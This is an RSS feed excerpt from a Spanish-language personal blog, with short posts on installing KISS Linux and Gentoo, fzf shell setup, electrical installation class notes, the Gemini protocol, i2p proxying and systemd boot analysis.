Wed, 25 Jun 2025 02:43:44 -0300
https://imlauera.github.io/kisslinux/
<p><img src="data:image/png;base64,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" alt=""></p>
<p>Primero boteá ArchLinux descargá la ISO de acá: <a href="https://archlinux.org/download/">https://archlinux.org/download/</a></p>
<p>Quemá la ISO en un pendrive usando</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>dd <span style="color:#66d9ef">if</span><span style="color:#f92672">=</span>archlinux.iso of<span style="color:#f92672">=</span>/dev/sdb status<span style="color:#f92672">=</span>progress bs<span style="color:#f92672">=</span><span style="color:#ae81ff">4098</span>
</span></span></code></pre></div><p><a href="https://kisslinux.github.io">https://kisslinux.github.io</a> Está obsoleto, el creador desapareció pero la comunidad de KISS decidió forkearlo acá: <a href="https://kisscommunity.org/kiss/install/">https://kisscommunity.org/kiss/install/</a></p>
<p>Al bootear ArchLinux particionemos el disco.</p>
<h6 id="legacy-boot-sin-swap">legacy boot sin swap</h6>
<p>Si estás en una VM podes directamente crear una única partición</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>o
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span>p
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>Enter
</span></span><span style="display:flex;"><span>Enter
</span></span><span style="display:flex;"><span>w
</span></span></code></pre></div><h6 id="uefi-gpt-con-swap">uefi (gpt) con Swap</h6>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>g <span style="color:#f92672">(</span>gpt disk label<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>partition number <span style="color:#f92672">[</span>1/128<span style="color:#f92672">])</span>
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2048</span> first sector
</span></span><span style="display:flex;"><span>+300M last sector <span style="color:#f92672">(</span>boot sector size<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>t
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>EFI System<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>default
</span></span><span style="display:flex;"><span>+4G
</span></span><span style="display:flex;"><span>t
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">2</span>
</span></span><span style="display:flex;"><span>swap
</span></span><span style="display:flex;"><span>n
</span></span><span style="display:flex;"><span><span style="color:#ae81ff">3</span>
</span></span><span style="display:flex;"><span>default <span style="color:#f92672">(</span>fill up partition<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>default <span style="color:#f92672">(</span>fill up partition<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>w <span style="color:#f92672">(</span>write<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Descargá el último release <strong>kiss-chroot</strong> de acá: <a href="https://codeberg.org/kiss-community/repo/releases">https://codeberg.org/kiss-community/repo/releases</a>
Extraélo como <code>root</code>.</p>
-
Nueva instalación binaria de Gentoo con OpenRC, XFS y Sway (Los binarios de Gentoo no son como los de ArchLinux)
https://imlauera.github.io/gentoo_openrc/
Sun, 22 Jun 2025 22:25:52 -0300
https://imlauera.github.io/gentoo_openrc/
<p>Este es el comando para instalar la máxima cantidad de paquetes:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Ignora las USE flags.</span>
</span></span><span style="display:flex;"><span>emerge -aqvg --autounmask-backtrack<span style="color:#f92672">=</span>y --binpkg-respect-use<span style="color:#f92672">=</span>n jackett-bin
</span></span><span style="display:flex;"><span>o
</span></span><span style="display:flex;"><span>emerge -aqvG jackett <span style="color:#f92672">(</span>pero a veces no tenes el binario disponible<span style="color:#f92672">)</span>
</span></span></code></pre></div><p><a href="https://wiki.gentoo.org/wiki/Gentoo_Cheat_Sheet">https://wiki.gentoo.org/wiki/Gentoo_Cheat_Sheet</a></p>
<p><strong>Clásicos momentos usando Gentoo:</strong><br>
Instalé <code>OBS Studio</code> en Gentoo sin mirar las banderas (USE Flags) cuando ejecuté <code>obs</code> no podía agregar la cámara, y tampoco podía compartir la pantalla.<br>
Con el comando <code>emerge -pv obs-studio</code> pude ver las banderas y leyendo la Wiki de Gentoo de OBS me dí cuenta que tengo que habilitar las siguientes banderas para tener esas funcionalidades:</p>
-
Bash autosuggestions: FZF
https://imlauera.github.io/fzf_bash/
Sat, 21 Jun 2025 16:21:54 -0300
https://imlauera.github.io/fzf_bash/
<p>Usando <code>Control+R</code> y fzf se puede lograr.</p>
<p>On Arch, after installing fzf with <code>pacman -S fzf</code>, you just need to add this line to your <code>~/.bashrc</code> for <code>autosuggestions and keybindings</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>eval <span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>fzf --bash<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span></code></pre></div><p>Alternatively, you can source the scripts directly:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>source /usr/share/fzf/key-bindings.bash
</span></span><span style="display:flex;"><span>source /usr/share/fzf/completion.bash
</span></span></code></pre></div><p>Then restart your terminal or run source <code>~/.bashrc</code>. Now you’ll have fuzzy completion and handy shortcuts like <code>Ctrl+T</code>, <code>Ctrl+R</code>, and Alt+C in Bash!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># ~/.bashrc</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If not running interactively, don't do anything</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[[</span> $- !<span style="color:#f92672">=</span> *i* <span style="color:#f92672">]]</span> <span style="color:#f92672">&&</span> <span style="color:#66d9ef">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>alias ls<span style="color:#f92672">=</span><span style="color:#e6db74">'ls --color=auto'</span>
</span></span><span style="display:flex;"><span>alias grep<span style="color:#f92672">=</span><span style="color:#e6db74">'grep --color=auto'</span>
</span></span><span style="display:flex;"><span>alias ..<span style="color:#f92672">=</span><span style="color:#e6db74">"cd .."</span>
</span></span><span style="display:flex;"><span>alias dgg<span style="color:#f92672">=</span><span style="color:#e6db74">'w3m -sixel dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias news<span style="color:#f92672">=</span><span style="color:#e6db74">'w3m https://news.ycombinator.com'</span>
</span></span><span style="display:flex;"><span>alias f1<span style="color:#f92672">=</span><span style="color:#e6db74">'torsocks bash scripts/f1exposure.sh'</span>
</span></span><span style="display:flex;"><span>alias google<span style="color:#f92672">=</span><span style="color:#e6db74">'cha -V google.com'</span>
</span></span><span style="display:flex;"><span>alias 3dgames<span style="color:#f92672">=</span><span style="color:#e6db74">'cha -V https://foros.3dgames.com.ar'</span>
</span></span><span style="display:flex;"><span>alias wgoogle<span style="color:#f92672">=</span><span style="color:#e6db74">'w3m -sixel https://google.com'</span>
</span></span><span style="display:flex;"><span>alias tdgg<span style="color:#f92672">=</span><span style="color:#e6db74">'w3m -sixel https://dgg.gg'</span>
</span></span><span style="display:flex;"><span>alias imlauera<span style="color:#f92672">=</span><span style="color:#e6db74">'w3m -sixel https://imlauera.github.io'</span>
</span></span><span style="display:flex;"><span>alias cimlauera<span style="color:#f92672">=</span><span style="color:#e6db74">'cha -V https://imlauera.github.io'</span>
</span></span><span style="display:flex;"><span>alias yewtube<span style="color:#f92672">=</span><span style="color:#e6db74">'cha -V https://yewtu.be'</span>
</span></span><span style="display:flex;"><span>alias invidious<span style="color:#f92672">=</span><span style="color:#e6db74">'w3m -sixel https://inv.nadeko.net/feed/subscriptions'</span>
</span></span><span style="display:flex;"><span>alias cinvidious<span style="color:#f92672">=</span><span style="color:#e6db74">'cha -V https://inv.nadeko.net/feed/subscriptions'</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PS1<span style="color:#f92672">=</span><span style="color:#e6db74">'[\u@\h \W]\$ '</span>
</span></span><span style="display:flex;"><span>source /usr/share/bash-completion/bash_completion
</span></span><span style="display:flex;"><span>eval <span style="color:#e6db74">"</span><span style="color:#66d9ef">$(</span>fzf --bash<span style="color:#66d9ef">)</span><span style="color:#e6db74">"</span>
</span></span></code></pre></div><h3 id="para-limpiar-la-terminal-cuando-tenés-seteado-el-set--o-vi">Para limpiar la terminal cuando tenés seteado el set -o vi</h3>
<p>Esto va en el archivo .inputrc</p>
-
Electricidad / Clase 39: Examen. [FOTOCOPIA VIEJA DE AGRUPACIÓN DE CONDUCTORES] Foto del examen teórico (Continuación). Foto interruptor. Fotocopia agrupación de conductores normas.
https://imlauera.github.io/electricidad39/
Thu, 19 Jun 2025 21:25:07 -0300
https://imlauera.github.io/electricidad39/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/18OOp5ddV1J9">https://vocaroo.com/18OOp5ddV1J9</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-160">https://archive.org/details/record-160</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/a1zj3CIZGeE">https://www.youtube.com/embed/a1zj3CIZGeE</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiuWRc1lbbdIAdWYw1p7C21kzP65ujbt8Q2aTr82t0raGl1whHUu6OYXmXMFnUi6gnQht-wzezpGg4ekgnW8yvEYkCmA28JLVDROZTP6eI1IsqfDJfHNRkUcOS_wy3XmeNiyJFBVHsZEQu6R5CNpHgw84MdTFTrLqCSE2RwHCsA4vGxQV7RJ-lnLZzgBL4/s4160/IMG_20250618_182655540.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjurAMLV4NjDARY588PuPotthG3yDYiKn-tZGn-VURI6VFhjHmLkHuR_6uFOBJMRxVyRDJsrFeSrJd2RhLDO9KNwQ0xWrlGy3f4fV0atlhTwWj5OkeSqSmT-_sFuumuvuQyCFvSR2VLk-Up4UOlOpysh0DNyuurzw5pz1lclOLZgymbuguv6-p3uauWeNc/s4160/IMG_20250618_182701194_BURST000_COVER_TOP.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPEcIDq4NxAD6MEb4QVpmkSm7Lx6yKXvkCqPbqUM546nfmOKQmvQ-zVSWTjW4sajRETt5vKsjD6LVWZVqp2PERoLWBSX49l804OARfuOS-im9FG-I4NwCYOE4C-FUh-HOpdur9kWQXktslT1rOO4amEPwyUXlSzX6O28MqaSR0u9Vvi7u0ZPISsa1R0aY/s4160/IMG_20250618_182701194_BURST001.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgT-R206X5j97HRaiFLVogM7Cfe9_Az6oYlPzPv9ak_gJjqYuxBjTXl4Ngf1U4Pa-6IeZHKtUavV44YqvAgfqgjNPAb7cgl5oC1hDT1t2EP1fps-Kz_D0VMdeVTzqv3ffaT1_mFiQ_dlQb4iUh4qeWp_272_imfH-IOPaN7FIIroo9NBKLuymWpB0HTHlI/s4160/IMG_20250618_191359415.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgfYxIWDkggde_iMuu-Kg69GS00Bm1AlOrJDUt2xX3tvLmW31nEnq_JID7DKBoZj5Ye32j4PYohndPrS-SHIt5443Wg2vWnPit73wk1GnxrSIGFLujcH-N4mDzc-RImn3KRwbd3cwfPPar7qs7X9-2MKccPROSZ_EZfnbDUBM2TY3jc1LFp4mgOpqiQNLA/s4160/IMG_20250618_191408248.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg6yY2NV8oOv-xQUq-zRkvKYGNtLmygXM2uG6T8f7_x4Ir70WDscy1E0GaNtF5LOUEnpCOhRMiYoUDlF2l6NI9BZVglX8dYY29X8HgAljyshv7Mzboutd4Au_F45Uer4BM832KPF2EGo2Bo1lNemSju6526zktYaKRP41wDWaWPGVyqEP8dm7RGvsJx4TY/s4160/IMG_20250618_191415451.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQeF0VZhCy0s3S8IMh_RGqLljnjrQQfMyjai0Oh23KyM545KUL3rLH8Ycxf8wBLmbakB3oendr1YJcBKXx1XW5EH82GNZ_63H2pa7wTrJnZyLgkX_dENuODsbkzY7PqnpC9jtfY5A-PYRBDoVd8li-uAJS3enAMjMLbjz1QYSm-aKFP3ByDlxQlKF5oiA/s4160/IMG_20250617_202745511.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhr8aETXP-infAv2I3G4ae8bWxbdby-tcj31izTGe13uZYV_KjMKh2lze7VpwYWv7LLWJdViR9gBCWJsPwRFocPaJYEt7K7n9H-qNlEU0FJcxuZw__veYLO179Q1kxZRA6cAK4onkPxKq0a4WJJCXPDlrImbOAuda-vYDnndlSeUv_F9LqKKQpTuzybzxY/s4160/IMG_20250618_191429002.jpg" alt="">
Acá puse mal eso de los colores: <code>fase - rojo, neutro - azul, Tierra - verde</code> estaba mal (lo corregí al siguiente) día en la fotocopia de agrupación de conductores más abajo estaba la norma de los colores de los cables.<br>
Neutro: color celeste<br>
Conductor de protección: bicolor verde-amarillo<br>
Fase R: color castaño<br>
Fase S: color negro<br>
Fase T: color rojo<br>
Para los conductores de las fases se admitirán otros colores, excepto el verde, amarillo o celeste.<br>
Para el conductor de fase de las instalaciones monofásicas se podrá utilizar indistintamente cualquiera de los colores indicados para las fases pero se preferirá el castaño.</p>
-
Gemini
https://imlauera.github.io/gemini/
Thu, 19 Jun 2025 07:54:32 -0300
https://imlauera.github.io/gemini/
<p>Gemini is a super simple, text-focused alternative to HTTP—think of it as a minimalist web where you browse using special Gemini browsers like Lagrange, Amfora, or even command-line tools like AV-98 (which you can run in your terminal). Just install a Gemini browser, then visit sites using addresses that start with gemini:// instead of http://—no ads, no scripts, just pure content!</p>
<p>En Arch usé <code>amfora</code> para navegar por Gemeni.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S amfora
</span></span></code></pre></div><ul>
<li>gemini.circumlunar.space: The main Gemini project hub, with guides and links.</li>
<li>gemini://geminispace.info: A search engine for Gemini sites.</li>
<li>gemini://tilde.team: A cozy community capsule with blogs and resources.</li>
<li>gemini://warmedal.se/~antenna/: A Gemini news aggregator.</li>
</ul>
-
Gentoo handbook: Definiciones
https://imlauera.github.io/gentoo_handbook/
Thu, 19 Jun 2025 04:23:59 -0300
https://imlauera.github.io/gentoo_handbook/
<p><a href="https://wiki.gentoo.org/index.php?title=Handbook:AMD64/Full/Installation&printable=yes">https://wiki.gentoo.org/index.php?title=Handbook:AMD64/Full/Installation&printable=yes</a> <br>
<a href="https://wiki.gentoo.org/index.php?title=Handbook:AMD64/Full/Installation">https://wiki.gentoo.org/index.php?title=Handbook:AMD64/Full/Installation</a></p>
<p><strong>inode:</strong></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkfs.ext4 -T small /dev/device
</span></span></code></pre></div><p>Hacer esto cuadruplica el número de inodes de un dado sistema de archivos, como es “bytes-per-inode” reduce de uno cada <code>16kB</code> a uno cada <code>4kB</code>.</p>
<p>Un inode (o inodo) es una estructura de datos que usan los sistemas de archivos como Linux o Unix para guardar toda la información sobre un archivo o directorio, excepto el nombre y el contenido real del archivo. El inodo almacena metadatos como: tamaño, permisos, propietario, fechas de creación/modificación, y la ubicación de los bloques de datos en el disco.</p>
-
Electricidad / Clase 38: Examen. FOTO del Examen teórico
https://imlauera.github.io/electricidad38/
Tue, 17 Jun 2025 22:36:04 -0300
https://imlauera.github.io/electricidad38/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/1ah2hMBPBwjn">https://vocaroo.com/1ah2hMBPBwjn</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-157">https://archive.org/details/record-157</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/watch?v=kyLx5aEKcHM">https://www.youtube.com/watch?v=kyLx5aEKcHM</a></p>
<p><img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVtdu-bR5rXL_o8M_czmZg261L9xKfHxdj9ZidecChbb8cnkogJyTAFjL4oCdGcZpz4bf992ccZgCxzSTpa8W6vfoNoIReg-XV8RL9mSS3Y5Z4CQr48bJjebw-IbC9lIR4RDdeIxZccOm6S3OtH6KQYue_oKTWhWRS4woJiHMifECcXtB4rwiEH_9qiBc/s4160/IMG_20250617_202722545.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJ83Wp5cXBSrSdTr3a_SoC3porQBFLwEk5glCTgsfFuE0jpWuZdlXlETJatHtpMzen1Ys3eKbdd3ueF_ZN7xeaf0eghAr1YQyKkTKRl-yZRtgemVWDrCzMY-dRQpnezMtLCI-_T0_a08q7j23sy8AsTADsKWX00e0VqIhlUg3-FPbwg4ZbngM_jr4HvpQ/s4160/IMG_20250617_202729402.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEint2EbxrekZEfF0tCXo9cmnW3bZfdijXKAsqzt8C-ZbzgANgIw-KuF8QJJbEaB77irbHanSvZQSfN9K9fMsePJPdax0jSI6znsjyAXEyJUWlMKcOTo6v0GJR12c5RpiDIhxr0gYkzTXWnIyEveatCBHvbI4kz5lDN_kiYPed7AuLOivqaltyKtQT9aiMI/s4160/IMG_20250617_202736569.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQeF0VZhCy0s3S8IMh_RGqLljnjrQQfMyjai0Oh23KyM545KUL3rLH8Ycxf8wBLmbakB3oendr1YJcBKXx1XW5EH82GNZ_63H2pa7wTrJnZyLgkX_dENuODsbkzY7PqnpC9jtfY5A-PYRBDoVd8li-uAJS3enAMjMLbjz1QYSm-aKFP3ByDlxQlKF5oiA/s4160/IMG_20250617_202745511.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_RjVodpp46jKlPXJzWFDj9BXRi39YSbyPCWCQzhWw7WCMNcdL0T4EUROK8FTlv0ULuy1Fk8oCz3iq_lOxpoOToqYB0cOhqSWTBNG3IKduAmzjklTCQmGuUi4EwDKITk1KqFSPyuqdrn2SviIMj6ihYXLcImSyl_WxGzJgREtLdRSbAm7UNeuyvnewj5A/s4160/IMG_20250617_202755637.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJOkIkkNek9oiXXrcH8tVenHNLKsEoSQSdMwSjmYQjbC9kPDntFQ1K0G8LyEcLZI4cythGqi-uylBRkA7xXZAzNxgy7bh_fSpcGKjztg6CJKkr1Eb8pubW6YeV35yMftWqxckkbS4owmdPfsa-yAeKje9tPJzvU73CLVrwd89PYAwhn75oXA4Kbm9M5Kg/s4160/IMG_20250617_202803307.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5ijH0Xo7z-IVO4ho608RuxfHsQ29lVAZ4b3xtcDmyyJIF_6X3dlVELWSnOCrAC0kqpgo4x_JtsmE_XAmZj64oxqSZjksys6ouMMUVFqGDephikOcDh3yQHd35mEd5W4RcB_ejnDDPb3IKj42Q4tjaOAC5J_pkvW1-_AuqExUjOA7YkiT7oBo-fB340pk/s4160/IMG_20250617_202811500.jpg" alt="">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkZWl4jJpXHg2_byHlfMesatUNJuBqnr0yfM-vjnYII_CCr4s6O7pwD68MyX38XrgBzXiSlYfHwtnFjLz_1Qor1Uz_wUteybCswCq-xdVxsL4lRoCwR92Q_GEEq9UTASDHtSjLO7_ZaNzKCn182_fr9G12fJ8hq2OipuOesmYUzofsjCdYLI0c2dhi9hc/s4160/IMG_20250617_202818027.jpg" alt=""></p>
-
i2p: free vpn
https://imlauera.github.io/i2p/
Fri, 13 Jun 2025 22:37:40 -0300
https://imlauera.github.io/i2p/
<p>Para saltear un baneo podes usar Tor, Lokinet o i2p. En otro tutorial de la página expliqué como usar lokinet. Y para bajar un torrent de forma anónima podes usar i2p o freenet.
Tenes que agregar <a href="http://notbob.i">http://notbob.i</a>2p/hosts.txt en <code>http://127.0.0.1:7657/dns</code> <strong>Import from hosts.txt file</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yay -S i2p-bin <span style="color:#75715e"># Instala binarios en /opt/i2p</span>
</span></span><span style="display:flex;"><span>sudo i2prouter start
</span></span><span style="display:flex;"><span>http://localhost:7657
</span></span></code></pre></div><p>Usar w3m con i2p:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>w3m -o http_proxy<span style="color:#f92672">=</span>http://127.0.0.1:4444 http://notbob.i2p
</span></span></code></pre></div><hr>
<p>Usar chawan con i2p en ArchLinux:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo pacman -S proxychains-ng
</span></span><span style="display:flex;"><span>sudo vim /etc/proxychains.conf o sudo vim /etc/proxychains4.conf o
</span></span></code></pre></div><p>Agregá al final: <code>http 127.0.0.1 4444</code></p>
-
Systemd
https://imlauera.github.io/systemd/
Fri, 13 Jun 2025 22:35:11 -0300
https://imlauera.github.io/systemd/
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>systemd-analyze time
</span></span><span style="display:flex;"><span>systemctl list-unit-files --type<span style="color:#f92672">=</span>service --state<span style="color:#f92672">=</span>enabled
</span></span><span style="display:flex;"><span>systemd-analyze blame
</span></span><span style="display:flex;"><span>systemd-analyze plot > boot.svg
</span></span><span style="display:flex;"><span>cd /etc/systemd/system/
</span></span><span style="display:flex;"><span>ls -ltr <span style="color:#75715e"># Últimos servicios agregados.</span>
</span></span></code></pre></div>
-
Electricidad / Clase 37: Como comprobar puesta a tierra. Bajar sensibilidad disyuntor. Tetrapolar con 2 salidas de circuito. Tipos canalizacion. Descarga rayos. Esquema acometida. Preguntas Examen. Tetrapolar llevado al monofásico(caro y al pedo). 2 tipos de canalización: embutidas y exterior.
https://imlauera.github.io/electricidad37/
Thu, 12 Jun 2025 01:59:25 -0300
https://imlauera.github.io/electricidad37/
<h6 id="audio-en-vocaroo">Audio en Vocaroo:</h6>
<p><a href="https://vocaroo.com/15pfGHEbKMe9">https://vocaroo.com/15pfGHEbKMe9</a></p>
<h6 id="audio-en-archive">Audio en Archive:</h6>
<p><a href="https://archive.org/details/record-156">https://archive.org/details/record-156</a></p>
<h6 id="audio-en-youtube">Audio en YouTube:</h6>
<p><a href="https://www.youtube.com/embed/GzsVJEkDgo4">https://www.youtube.com/embed/GzsVJEkDgo4</a></p>
